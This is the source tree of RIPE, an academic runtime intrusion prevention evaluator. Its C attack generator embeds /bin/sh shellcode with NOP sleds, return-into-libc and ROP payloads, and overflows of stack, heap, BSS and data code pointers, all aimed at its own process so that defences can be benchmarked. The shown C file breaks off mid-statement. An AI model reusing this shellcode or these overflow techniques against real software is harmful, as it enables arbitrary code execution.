├── LICENSE ├── Makefile ├── README ├── build └── placeholder ├── ripe_paper.pdf ├── ripe_tester.py └── source ├── ripe_attack_generator.c ├── ripe_attack_generator.h └── ripe_attack_parameters.h /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011 John Wilander (@johnwilander) and Nick Nikiforakis (@nicknikiforakis) 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for RIPE 2 | # @author John Wilander & Nick Nikiforakis 3 | 4 | #Depending on how you test your system you may want to comment, or uncomment 5 | #the following 6 | CFLAGS=-fno-stack-protector 7 | CC=gcc 8 | all: ripe_attack_generator 9 | 10 | clean: 11 | rm ./build/* 12 | 13 | 14 | # ATTACK GENERATOR COMPILE 15 | ripe_attack_generator: ./source/ripe_attack_generator.c 16 | ${CC} ${CFLAGS} ./source/ripe_attack_generator.c -m32 -o ./build/ripe_attack_generator 17 | 18 | 19 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | This repo contains the source code for Wilander and Nikiforakis' runtime intrusion prevention evaluator RIPE. 2 | 3 | RIPE will be/was presented at The 27th Annual Computer Security Applications Conference (ACSAC) in Orlando, Florida, December 5-9, 2011. 4 | 5 | RIPE is free software and released under the MIT licence (see file named LICENSE). 6 | 7 | If you use, extend or build upon RIPE we kindly ask you to cite the original ACSAC paper in which RIPE is presented. Here's the BibTeX: 8 | 9 | @inproceedings{ wilander.ripe, 10 | author = {John Wilander and Nick Nikiforakis and Yves Younan and Mariam Kamkar and Wouter Joosen}, 11 | title = {{RIPE}: Runtime Intrusion Prevention Evaluator}, 12 | booktitle = {In Proceedings of the 27th Annual Computer Security Applications Conference, {ACSAC}}, 13 | year = {2011}, 14 | publisher = {ACM} 15 | } 16 | 17 | John's ... 18 | tweets https://twitter.com/johnwilander 19 | résumé http://johnwilander.se 20 | music http://johnwilander.com 21 | 22 | Nick's 23 | tweets https://twitter.com/nicknikiforakis 24 | résumé http://www.securitee.org/ 25 | 26 | May your buffer overflow protection prove ripe! 27 | Regards, John and Nick -------------------------------------------------------------------------------- /build/placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnwilander/RIPE/8f66dbb1af31366c735b912dcb722636d1049d08/build/placeholder -------------------------------------------------------------------------------- /ripe_paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnwilander/RIPE/8f66dbb1af31366c735b912dcb722636d1049d08/ripe_paper.pdf -------------------------------------------------------------------------------- /ripe_tester.py: -------------------------------------------------------------------------------- 1 | # Developed by Nick Nikiforakis to assist the automated testing 2 | # using the RIPE evaluation tool 3 | # 4 | # Released under the MIT license (see file named LICENSE) 5 | # 6 | # This program is part the paper titled 7 | # RIPE: Runtime Intrusion Prevention Evaluator 8 | # Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 9 | # Mariam Kamkar and Wouter Joosen 10 | # Published in the proceedings of ACSAC 2011, Orlando, Florida 11 | # 12 | # Please cite accordingly. 13 | 14 | import os 15 | import sys 16 | 17 | code_ptr = ["ret", "baseptr", 18 | "funcptrstackvar", "funcptrstackparam", 19 | "funcptrheap", "funcptrbss", "funcptrdata", 20 | "longjmpstackvar", "longjmpstackparam", 21 | "longjmpheap", "longjmpbss", "longjmpdata", "structfuncptrstack","structfuncptrheap", 22 | "structfuncptrdata","structfuncptrbss"] ; 23 | 24 | funcs = ["memcpy", "strcpy", "strncpy", "sprintf", "snprintf", 25 | "strcat", "strncat", "sscanf", "fscanf", "homebrew"]; 26 | 27 | 28 | locations = ["stack","heap","bss","data"]; 29 | attacks = ["createfile", "returnintolibc", "rop"]; 30 | 31 | techniques = [] 32 | repeat_times = 0 33 | 34 | 35 | if len(sys.argv) < 2: 36 | print "Usage: python "+sys.argv[0] + "[direct|indirect|both] " 37 | sys.exit(1) 38 | 39 | else: 40 | if sys.argv[1] == "both": 41 | techniques = ["direct","indirect"]; 42 | else: 43 | techniques = [sys.argv[1]]; 44 | 45 | repeat_times = int(sys.argv[2]); 46 | 47 | 48 | i = 0 49 | if not os.path.exists("/tmp/rip-eval"): 50 | os.system("mkdir /tmp/rip-eval"); 51 | 52 | total_ok=0; 53 | total_fail=0; 54 | total_some=0; 55 | total_np = 0; 56 | 57 | 58 | for attack in attacks: 59 | for tech in techniques: 60 | for loc in locations: 61 | for ptr in code_ptr: 62 | for func in funcs: 63 | i = 0 64 | s_attempts = 0 65 | attack_possible = 1 66 | while i < repeat_times: 67 | i += 1 68 | 69 | os.system("rm /tmp/ripe_log") 70 | cmdline = "./build/ripe_attack_generator -t "+tech+" -i "+attack+" -c " + ptr + " -l " + loc +" -f " + func + " > /tmp/ripe_log 2>&1" 71 | os.system(cmdline) 72 | log = open("/tmp/ripe_log","r") 73 | 74 | 75 | if log.read().find("Impossible") != -1: 76 | print cmdline,"\t\t","NOT POSSIBLE" 77 | attack_possible = 0; 78 | break; #Not possible once, not possible always :) 79 | 80 | 81 | if os.path.exists("/tmp/rip-eval/f_xxxx"): 82 | s_attempts += 1 83 | os.system("rm /tmp/rip-eval/f_xxxx") 84 | 85 | 86 | if attack_possible == 0: 87 | total_np += 1; 88 | continue 89 | 90 | if s_attempts == repeat_times: 91 | print cmdline,"\t\tOK\t", s_attempts,"/",repeat_times 92 | total_ok += 1; 93 | elif s_attempts == 0: 94 | print cmdline,"\t\tFAIL\t",s_attempts,"/",repeat_times 95 | total_fail += 1; 96 | else: 97 | print cmdline,"\t\tSOMETIMES\t", s_attempts,"/",repeat_times 98 | total_some +=1; 99 | 100 | 101 | total_attacks = total_ok + total_some + total_fail + total_np; 102 | print "\n||Summary|| OK: ",total_ok," ,SOME: ",total_some," ,FAIL: ",total_fail," ,NP: ",total_np," ,Total Attacks: ",total_attacks 103 | 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /source/ripe_attack_generator.c: -------------------------------------------------------------------------------- 1 | /* RIPE was originally developed by John Wilander (@johnwilander) 2 | * and was debugged and extended by Nick Nikiforakis (@nicknikiforakis) 3 | * 4 | * Released under the MIT license (see file named LICENSE) 5 | * 6 | * This program is part the paper titled 7 | * RIPE: Runtime Intrusion Prevention Evaluator 8 | * Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 9 | * Mariam Kamkar and Wouter Joosen 10 | * Published in the proceedings of ACSAC 2011, Orlando, Florida 11 | * 12 | * Please cite accordingly. 13 | */ 14 | 15 | #include "ripe_attack_generator.h" 16 | 17 | /** 18 | * Shell code without NOP sled. 19 | * @author Aleph One 20 | */ 21 | static char shellcode_nonop[] = 22 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 23 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 24 | "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 25 | 26 | static size_t size_shellcode_nonop = sizeof(shellcode_nonop) / sizeof(shellcode_nonop[0]) - 1; // Do not count for the null terminator since a null in the shellcode will terminate any string function in the standard library 27 | 28 | /** 29 | * Shell code with simple NOP sled 30 | * @author Pontus Viking 31 | * @author Aleph One 32 | */ 33 | static char shellcode_simplenop[] = 34 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 35 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 36 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 37 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 38 | "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 39 | 40 | static size_t size_shellcode_simplenop = sizeof(shellcode_simplenop) / sizeof(shellcode_simplenop[0]) - 1; // Do not count for the null terminator since a null in the shellcode will terminate any string function in the standard library 41 | 42 | /** 43 | * Shell code with polymorphic NOP sled 44 | * @author Pontus Viking 45 | * @author Aleph One 46 | */ 47 | static char shellcode_polynop[] = 48 | "\x99\x96\x97\x93\x91\x4d\x48\x47\x4f\x40\x41\x37\x3f\x97\x46\x4e\xf8" 49 | "\x92\xfc\x98\x27\x2f\x9f\xf9\x4a\x44\x42\x43\x49\x4b\xf5\x45\x4c" 50 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 51 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 52 | "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 53 | 54 | static size_t size_shellcode_polynop = 55 | sizeof(shellcode_polynop) / sizeof(shellcode_polynop[0]) - 1; 56 | /* Do not count for the null terminator since a null in the */ 57 | /* shellcode will terminate any lib string function */ 58 | 59 | /** 60 | * Shellcode with NOP sled that touches a file in the /tmp/rip-eval/ directory 61 | * @author Nick Nikiforakis 62 | * @email: nick.nikiforakis[put @ here]cs.kuleuven.be 63 | * 64 | */ 65 | 66 | 67 | static char createfile_shellcode[] = 68 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 69 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 70 | "\xEB\x18\x5B\x31\xC0\x88\x43\x14\xB0\x08\x31\xC9\x66\xB9\xBC\x02\xCD\x80\x31\xC0\xB0\x01\x31\xDB" 71 | "\xCD\x80\xE8\xE3\xFF\xFF\xFF/tmp/rip-eval/f_xxxx"; 72 | 73 | 74 | static size_t size_shellcode_createfile = sizeof(createfile_shellcode) / sizeof(createfile_shellcode[0]) - 1; 75 | 76 | static char cf_ret_param[] = "/tmp/rip-eval/f_xxxx"; 77 | static char space_for_stack_growth[1024] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 78 | static int fake_esp_jmpbuff[15] = {0xDEADBEEF,0xDEADBEEF,0xDEADBEEF, 79 | 0xDEADBEEF,0xDEADBEEF,0xDEADBEEF,0xDEADBEEF,0xDEADBEEF,0xDEADBEEF, 80 | 0xDEADBEEF,0xDEADBEEF,0xDEADBEEF,&exit, &cf_ret_param,448}; //448 => 0700 mode 81 | 82 | /* DATA SEGMENT TARGETS */ 83 | /* Data segment buffers to inject into */ 84 | /* Two buffers declared to be able to chose buffer address without NUL */ 85 | /* Largest buffer declared last since it'll be "after" in the data seg */ 86 | static char data_buffer1[1] = "d"; 87 | static char data_buffer2[128] = "dummy"; 88 | /* Target: Pointer in data segment for indirect attack */ 89 | /* Declared after injection buffers to place it "after" in the data seg */ 90 | static long *data_mem_ptr = 0x0; 91 | /* Target: Function pointer in data segment */ 92 | /* Declared after injection buffers since it'll be "after" in the data seg */ 93 | static int (*data_func_ptr2)(const char *) = &dummy_function; 94 | static int (*data_func_ptr1)(const char *) = &dummy_function; 95 | /* Target: Longjump buffer in data segment */ 96 | /* Declared after injection buffers to place it "after" on the data seg */ 97 | static jmp_buf data_jmp_buffer = {0, 0, 0, 0, 0, 0}; 98 | 99 | int fooz(char *a, int b); 100 | static struct attackme data_struct = {"AAAAAAAAAAAA",&fooz}; 101 | 102 | 103 | 104 | //NN: Moved away of harm's way (aka overflowing buffers in the data segment) 105 | static char loose_change1[128]; //NN Sandwich the control vars 106 | static boolean output_error_msg = TRUE; 107 | static boolean output_debug_info = FALSE; /* Disables most effective attacks */ 108 | static boolean has_opened_output_stream = FALSE; 109 | static ATTACK_FORM attack; 110 | static char loose_change2[128]; //NN Sandwich the control vars 111 | 112 | static int rop_sled[7] = {&gadget1 + 62,0xFFFFFFFF,&gadget2 + 62,&cf_ret_param,0xFFFFFFFF,&gadget3 + 62, &exit}; 113 | 114 | int fooz(char *a, int b){ 115 | int zz,ff; 116 | 117 | zz =a ; 118 | ff = b; 119 | 120 | fprintf(stderr,"Fooz was called"); 121 | return 1; 122 | } 123 | 124 | /**********/ 125 | /* MAIN() */ 126 | /**********/ 127 | int main(int argc, char **argv) { 128 | int option_char; 129 | int i = 0; 130 | FILE *output_stream; 131 | jmp_buf stack_jmp_buffer_param; 132 | 133 | //NN: Add provisioning for when 00 are in the address of the jmp_buffer_param 134 | jmp_buf stack_jmp_buffer_param_array[512]; 135 | 136 | for(i=0; i < 512; i++){ 137 | if(!contains_terminating_char(stack_jmp_buffer_param_array[i])) 138 | break; 139 | } 140 | if (i == 512){ 141 | fprintf(stderr,"Error. Can't allocate appropriate stack_jmp_buffer\n"); 142 | exit(1); 143 | } 144 | 145 | 146 | while((option_char = getopt(argc, argv, "t:i:c:l:f:d:e:o")) != -1) { 147 | switch(option_char) { 148 | case 't': 149 | set_technique(optarg); 150 | break; 151 | case 'i': 152 | set_inject_param(optarg); 153 | break; 154 | case 'c': 155 | set_code_ptr(optarg); 156 | break; 157 | case 'l': 158 | set_location(optarg); 159 | break; 160 | case 'f': 161 | set_function(optarg); 162 | break; 163 | case 'd': 164 | if(strcmp("t", optarg) == 0) { 165 | output_debug_info = TRUE; 166 | fprintf(stderr, "Set output_debug_info = TRUE\n"); 167 | } else { 168 | output_debug_info = FALSE; 169 | fprintf(stderr, 170 | "Set output_debug_info = FALSE since option was \"%s\"\n", 171 | optarg); 172 | } 173 | break; 174 | case 'e': 175 | if(strcmp("t", optarg) == 0) { 176 | output_error_msg = TRUE; 177 | fprintf(stderr, "Set output_error_msg = TRUE\n"); 178 | } else { 179 | output_error_msg = FALSE; 180 | fprintf(stderr, 181 | "Set output_error_msg = FALSE since option was \"%s\"\n", 182 | optarg); 183 | } 184 | break; 185 | case 'o': 186 | output_stream = fopen(optarg, "a+"); 187 | if(output_stream == NULL) { 188 | if(output_error_msg) { 189 | fprintf(stderr, "Error: Could not open file \"%s\"\n", optarg); 190 | } 191 | } else { 192 | has_opened_output_stream = TRUE; 193 | } 194 | break; 195 | default: 196 | if(output_error_msg) { 197 | fprintf(stderr, "Error: Unknown command option \"%s\"\n", optarg); 198 | } 199 | exit(1); 200 | break; 201 | } 202 | } 203 | 204 | /* If no output option set default */ 205 | if(!has_opened_output_stream && output_debug_info) { 206 | // output_stream = stdout; 207 | output_stream = fopen(DEBUG_MEMDUMP, "a+"); 208 | if(output_stream == NULL) { 209 | if(output_error_msg) { 210 | fprintf(stderr, "Error: Could not open file \"debug.txt\"\n"); 211 | } 212 | } else { 213 | has_opened_output_stream = TRUE; 214 | } 215 | } 216 | 217 | setenv("param_to_system", "/bin/sh", 1); 218 | setenv("param_to_creat", "/tmp/rip-eval/f_xxxx",1); //NN 219 | 220 | if(output_debug_info) { 221 | printf("getenv(\"param_to_system\") = %x\n", getenv("param_to_system")); 222 | printf("&system = %p\n", &system); 223 | } 224 | 225 | /* Check if attack form is possible */ 226 | if(is_attack_possible()) { 227 | //NN 228 | perform_attack(output_stream, &dummy_function, stack_jmp_buffer_param_array[i]); 229 | } else { 230 | exit(ATTACK_IMPOSSIBLE); 231 | } 232 | 233 | 234 | if(has_opened_output_stream) { 235 | fclose(output_stream); 236 | } 237 | } 238 | 239 | 240 | //Data Segment Attack vectors where here 241 | //but they were moved to the top of the file 242 | //so that they won't overflow into control variables 243 | 244 | //reliable ways to get the adresses of the return address and old base pointer 245 | #define OLD_BP_PTR __builtin_frame_address(0) 246 | #define RET_ADDR_PTR ((void**)OLD_BP_PTR + 1) 247 | 248 | /********************/ 249 | /* PERFORM_ATTACK() */ 250 | /********************/ 251 | void perform_attack(FILE *output_stream, 252 | int (*stack_func_ptr_param)(const char *), 253 | jmp_buf stack_jmp_buffer_param) { 254 | 255 | /* STACK TARGETS */ 256 | /* Target: Longjump buffer on stack */ 257 | /* Declared before injection buffers to place it "below" on the stack */ 258 | jmp_buf stack_jmp_buffer; 259 | /* Target: Function pointer on stack */ 260 | /* Declared before injection buffers to place it "below" on the stack */ 261 | int (*stack_func_ptr)(const char *); 262 | /* Target: Pointer on stack for indirect attack */ 263 | /* Declared before injection buffers to place it "below" on the stack */ 264 | /* Declared adjacent to the injection buffers, at the top of the stack, */ 265 | /* so an indirect attack won't overflow the stack target code pointers */ 266 | /* when overflowing the indirect pointer */ 267 | long *stack_mem_ptr; 268 | /* Stack buffers to inject into */ 269 | /* Two buffers declared to be able to chose buffer address without NUL */ 270 | /* Largest buffer declared first since it'll be "below" on the stack */ 271 | // char stack_buffer1[128]; 272 | // char stack_buffer2[1]; 273 | 274 | char stack_buffer[1024]; 275 | //JMP_BUF for indirect attacks 276 | jmp_buf stack_jmp_buffer_indirect[512]; 277 | struct attackme stack_struct; 278 | stack_struct.func_ptr = fooz; 279 | 280 | 281 | 282 | /* HEAP TARGETS */ 283 | /* Heap buffers to inject into */ 284 | /* Two buffers declared to be able to chose buffer that gets allocated */ 285 | /* first on the heap. The other buffer will be set as a target, i.e. a */ 286 | /* heap array of function pointers. */ 287 | char *heap_buffer1 = (char *)malloc(128 + sizeof(long)); 288 | char *heap_buffer2 = (char *)malloc(128 + sizeof(long)); 289 | char *heap_buffer3 = (char *)malloc(128 + sizeof(long)); 290 | /* Target: Pointer on heap for indirect attack */ 291 | /* Declared after injection buffers to place it "after" on the heap */ 292 | long *heap_mem_ptr; 293 | /* Target: Function pointer on heap */ 294 | /* This pointer is set by collecting a pointer value in the function */ 295 | /* pointer array. */ 296 | int (**heap_func_ptr)(const char *) = 0; 297 | /* Target: Longjmp buffer on the heap */ 298 | /* Declared after injection buffers to place it "after" on the heap */ 299 | //jmp_buf heap_jmp_buffer; 300 | jmp_buf *heap_jmp_buffer; //NN Here it is just a pointer... 301 | 302 | struct attackme *heap_struct = (struct attackme*)malloc(sizeof(struct attackme)); 303 | heap_struct->func_ptr = fooz; 304 | 305 | 306 | /* BSS TARGETS */ 307 | /* Target: Pointer in BSS segment for indirect attack */ 308 | /* Declared after injection buffers to place it "after" in the BSS seg */ 309 | static long bss_dummy_value; 310 | /* Target: Function pointer in BSS segment */ 311 | /* Declared after injection buffers to place it "after" in the BSS seg */ 312 | static int (*bss_func_ptr)(const char *); 313 | /* Target: Longjmp buffer in BSS segment */ 314 | /* Declared after injection buffers to place it "after" in the BSS seg */ 315 | static jmp_buf bss_jmp_buffer; 316 | static long *bss_mem_ptr; 317 | static char placeholder[128]; //NN provide enough space for shellcode 318 | /* BSS buffers to inject into */ 319 | /* Two buffers declared to be able to chose buffer address without NUL */ 320 | /* Largest buffer declared last since it'll be "after" in the BSS seg */ 321 | static char bss_buffer1[1]; 322 | static char bss_buffer2[128]; 323 | static jmp_buf bss_jmp_buffer_indirect; 324 | 325 | static struct attackme bss_struct; 326 | 327 | 328 | 329 | 330 | 331 | /* Pointer to buffer to overflow */ 332 | char *buffer, *dump_start_addr; 333 | /* Address to target for direct (part of) overflow */ 334 | void *target_addr; 335 | /* Buffer for storing a generated format string */ 336 | char format_string_buf[16]; 337 | /* Temporary storage of payload for overflow with fscanf() */ 338 | FILE *fscanf_temp_file; 339 | CHARPAYLOAD payload; 340 | 341 | /* Storage of debug memory dumps (used for debug output) */ 342 | MEM_DUMP mem_dump1[DEFAULT_DUMP_SIZE]; 343 | MEM_DUMP mem_dump2[DEFAULT_DUMP_SIZE]; 344 | MEM_DUMP payload_dump[DEFAULT_DUMP_SIZE]; 345 | 346 | if(output_debug_info) { 347 | dump_start_addr = format_string_buf; 348 | } /* DEBUG */ 349 | 350 | /* Check that malloc went fine */ 351 | if(heap_buffer1 == NULL || heap_buffer2 == NULL) { 352 | perror("Unable to allocate heap memory."); 353 | exit(1); 354 | } 355 | 356 | /* Initialize function pointers to point to dummy function so */ 357 | /* that if the attack fails there will still be code to execute */ 358 | stack_func_ptr = &dummy_function; 359 | // heap_func_ptr = &dummy_function; 360 | bss_func_ptr = &dummy_function; 361 | 362 | /***************************************/ 363 | /* Set location for buffer to overflow */ 364 | /***************************************/ 365 | switch(attack.location) { 366 | case STACK: 367 | /* Injection into stack buffer */ 368 | /* Make sure that we start injecting the shellcode on an */ 369 | /* address not containing any terminating characters */ 370 | 371 | //NN: Special case for stack_struct 372 | if(attack.code_ptr == STRUCT_FUNC_PTR_STACK){ 373 | buffer = stack_struct.buffer; 374 | break; 375 | } 376 | 377 | /* NN: Trying addresses until correct */ 378 | buffer = stack_buffer; 379 | while (contains_terminating_char((unsigned long)buffer)){ 380 | buffer += rand() % 10; 381 | fprintf(stderr,"Trying %p\n",buffer); 382 | } 383 | /* Out of Bounds */ 384 | if (buffer > stack_buffer + sizeof(stack_buffer) - 100){ 385 | fprintf(stderr,"Error. Couldn't find appropriate buffer on the stack\n"); 386 | exit(1); 387 | } 388 | 389 | // Also set the location of the function pointer and the 390 | // longjmp buffer on the heap (the same since only choose one) 391 | heap_func_ptr = (void *)heap_buffer1; 392 | heap_jmp_buffer = (void *)heap_buffer1; 393 | break; 394 | case HEAP: 395 | /* Injection into heap buffer */ 396 | 397 | //NN: Special case for heap_struct 398 | if(attack.code_ptr == STRUCT_FUNC_PTR_HEAP){ 399 | buffer = heap_struct->buffer; 400 | break; 401 | } 402 | 403 | 404 | if(((unsigned long)heap_buffer1 < (unsigned long)heap_buffer2) && 405 | ((unsigned long)heap_buffer2 < (unsigned long)heap_buffer3)) { 406 | buffer = heap_buffer1; 407 | // Set the location of the memory pointer on the heap 408 | heap_mem_ptr = (long *)heap_buffer2; 409 | // Also set the location of the function pointer and the 410 | // longjmp buffer on the heap (the same since only choose one) 411 | heap_func_ptr = (void *)heap_buffer3; 412 | // heap_jmp_buffer = (int *)heap_buffer3; //NN heap_jmp_buffer still doesn't point anywhere 413 | heap_jmp_buffer = (int *)malloc(sizeof(jmp_buf)); //NN Now it does...hopefully in the correct order 414 | } else { 415 | if(output_error_msg) { 416 | fprintf(stderr, "Error: Heap buffers allocated in the wrong order.\n"); 417 | } 418 | exit(1); 419 | } 420 | break; 421 | case BSS: 422 | /* Injection into BSS buffer */ 423 | /* Make sure that we start injecting the shellcode on an */ 424 | /* address not containing any terminating characters */ 425 | /* @todo ensure that the chosen address truly is correct */ 426 | 427 | //NN: Special case for bss_struct 428 | if(attack.code_ptr == STRUCT_FUNC_PTR_BSS){ 429 | buffer = bss_struct.buffer; 430 | break; 431 | } 432 | 433 | if(contains_terminating_char((unsigned long)&bss_buffer1)) { 434 | buffer = bss_buffer2; 435 | } else { 436 | /* @todo Currently just assumes the next address is OK */ 437 | buffer = bss_buffer1; 438 | } 439 | // Also set the location of the function pointer and the 440 | // longjmp buffer on the heap (the same since only choose one) 441 | heap_func_ptr = (void *)heap_buffer1; 442 | heap_jmp_buffer = (int *)heap_buffer1; 443 | break; 444 | case DATA: 445 | /* Injection into data segment buffer */ 446 | /* Make sure that we start injecting the shellcode on an */ 447 | /* address not containing any terminating characters */ 448 | /* @todo ensure that the chosen address truly is correct */ 449 | 450 | //NN: Special case for stack_struct 451 | if(attack.code_ptr == STRUCT_FUNC_PTR_DATA){ 452 | buffer = data_struct.buffer; 453 | break; 454 | } 455 | 456 | if(contains_terminating_char((unsigned long)&data_buffer1)) { 457 | buffer = data_buffer2; 458 | } else { 459 | /* @todo Currently just assumes the next address is OK */ 460 | buffer = data_buffer1; 461 | } 462 | // Also set the location of the function pointer and the 463 | // longjmp buffer on the heap (the same since only choose one) 464 | heap_func_ptr = (void *)heap_buffer1; 465 | heap_jmp_buffer = heap_buffer1; 466 | break; 467 | default: 468 | if(output_error_msg) { 469 | fprintf(stderr, "Error: Unknown choice of location\n"); 470 | } 471 | exit(1); 472 | break; 473 | } 474 | 475 | //make sure we actually have an initialized function pointer on the heap 476 | if (heap_func_ptr) 477 | *heap_func_ptr = fooz; 478 | 479 | /************************************/ 480 | /* Set target address for overflow, */ 481 | /* (used to calculate payload size) */ 482 | /************************************/ 483 | switch(attack.technique) { 484 | case DIRECT: 485 | switch(attack.code_ptr) { 486 | case RET_ADDR: 487 | target_addr = RET_ADDR_PTR; 488 | break; 489 | case OLD_BASE_PTR: 490 | target_addr = OLD_BP_PTR; 491 | break; 492 | case FUNC_PTR_STACK_VAR: 493 | target_addr = &stack_func_ptr; 494 | break; 495 | case FUNC_PTR_STACK_PARAM: 496 | target_addr = &stack_func_ptr_param; 497 | break; 498 | case FUNC_PTR_HEAP: 499 | target_addr = heap_func_ptr; 500 | break; 501 | case FUNC_PTR_BSS: 502 | target_addr = &bss_func_ptr; 503 | break; 504 | case FUNC_PTR_DATA: 505 | target_addr = &data_func_ptr1; 506 | break; 507 | case LONGJMP_BUF_STACK_VAR: 508 | target_addr = &stack_jmp_buffer[0].__jmpbuf[5]; 509 | break; 510 | case LONGJMP_BUF_STACK_PARAM: 511 | target_addr = &stack_jmp_buffer_param[0].__jmpbuf[5]; 512 | break; 513 | case LONGJMP_BUF_HEAP: 514 | //target_addr = &heap_jmp_buffer[0].__jmpbuf[5]; 515 | printf("heap_jmp_buffer @%p\n",heap_jmp_buffer); 516 | target_addr = (void *)heap_jmp_buffer + 20; //NN now it should point to the correct entry of the 517 | //jmp_buf structure 518 | break; 519 | case LONGJMP_BUF_BSS: 520 | target_addr = &bss_jmp_buffer[0].__jmpbuf[5]; 521 | break; 522 | case LONGJMP_BUF_DATA: 523 | target_addr = &data_jmp_buffer[0].__jmpbuf[5]; 524 | break; 525 | case STRUCT_FUNC_PTR_STACK: 526 | target_addr = &stack_struct.func_ptr; 527 | break; 528 | case STRUCT_FUNC_PTR_HEAP: 529 | target_addr = (void *)heap_struct + 256; 530 | break; 531 | case STRUCT_FUNC_PTR_DATA: 532 | target_addr = &data_struct.func_ptr; 533 | break; 534 | case STRUCT_FUNC_PTR_BSS: 535 | target_addr = &bss_struct.func_ptr; 536 | break; 537 | 538 | default: 539 | if(output_error_msg) { 540 | fprintf(stderr, "Error: Unknown choice of code pointer\n"); 541 | } 542 | exit(1); 543 | break; 544 | } 545 | break; 546 | case INDIRECT: 547 | switch(attack.location) { 548 | case STACK: 549 | target_addr = &stack_mem_ptr; 550 | break; 551 | case HEAP: 552 | target_addr = heap_mem_ptr; 553 | break; 554 | case BSS: 555 | target_addr = &bss_mem_ptr; 556 | bss_mem_ptr = &bss_dummy_value; 557 | break; 558 | case DATA: 559 | target_addr = &data_mem_ptr; 560 | printf("Indirect attack, DATA SEGMENT target addr\n"); 561 | break; 562 | default: 563 | if(output_error_msg) { 564 | fprintf(stderr, "Error: Unknown choice of pointer\n"); 565 | } 566 | exit(1); 567 | break; 568 | } 569 | break; 570 | default: 571 | if(output_error_msg) { 572 | fprintf(stderr, "Error: Unknown choice of technique\n"); 573 | } 574 | exit(1); 575 | break; 576 | } 577 | 578 | 579 | /*********************/ 580 | /* Configure payload */ 581 | /*********************/ 582 | 583 | payload.ptr_to_correct_return_addr = RET_ADDR_PTR; 584 | 585 | // Set longjmp buffers 586 | switch(attack.code_ptr) { 587 | case LONGJMP_BUF_STACK_VAR: 588 | if(setjmp(stack_jmp_buffer) != 0) { 589 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 590 | /* from longjmp() using the saved context. Attack failed. */ 591 | return; 592 | } 593 | payload.jmp_buffer = &stack_jmp_buffer; 594 | break; 595 | case LONGJMP_BUF_STACK_PARAM: 596 | if(setjmp(stack_jmp_buffer_param) != 0) { 597 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 598 | /* from longjmp() using the saved context. Attack failed. */ 599 | return; 600 | } 601 | payload.jmp_buffer = (void *)stack_jmp_buffer_param; 602 | payload.stack_jmp_buffer_param = &stack_jmp_buffer_param; 603 | break; 604 | case LONGJMP_BUF_HEAP: 605 | if(setjmp(*heap_jmp_buffer) != 0) { 606 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 607 | /* from longjmp() using the saved context. Attack failed. */ 608 | return; 609 | } 610 | 611 | payload.jmp_buffer = (void *)heap_jmp_buffer; 612 | payload.stack_jmp_buffer_param = NULL; 613 | break; 614 | case LONGJMP_BUF_BSS: 615 | if(setjmp(bss_jmp_buffer) != 0) { 616 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 617 | /* from longjmp() using the saved context. Attack failed. */ 618 | return; 619 | } 620 | printf("bss_jmp_buffer is set\n"); 621 | payload.jmp_buffer = (void *)bss_jmp_buffer; 622 | payload.stack_jmp_buffer_param = NULL; 623 | //NN added second setjmp to populate indirect_jmp_buffer 624 | if(setjmp(bss_jmp_buffer_indirect) != 0) { 625 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 626 | /* from longjmp() using the saved context. Attack failed. */ 627 | return; 628 | } 629 | break; 630 | case LONGJMP_BUF_DATA: 631 | if(setjmp(data_jmp_buffer) != 0) { 632 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 633 | /* from longjmp() using the saved context. Attack failed. */ 634 | return; 635 | } 636 | 637 | payload.jmp_buffer = (void *)data_jmp_buffer; 638 | payload.stack_jmp_buffer_param = 